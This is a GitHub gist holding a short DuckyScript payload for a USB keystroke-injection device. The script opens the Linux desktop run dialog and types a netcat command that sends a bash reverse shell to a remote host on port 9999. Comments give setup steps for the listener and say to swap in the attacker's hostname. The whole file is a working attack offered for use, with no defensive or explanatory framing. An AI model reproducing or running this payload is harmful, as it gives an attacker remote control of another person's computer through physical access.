Created
April 17, 2018 03:35
-
-
Save JonnyBanana/a26528f2f2e044b07ebc9d2fba687050 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM Get a reverse shell usign ncat. | |
REM Run `nc -l 9999` to wait for the reverse shell. | |
REM Make sure to update the hostname before using it. | |
DELAY 1000 | |
ALT F2 | |
DELAY 100 | |
STRING sh -c "nc -e /bin/bash eternal-pickle 9999" | |
REM Delay to make it work in KDE. Not sure why that's necessary. | |
DELAY 100 | |
ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment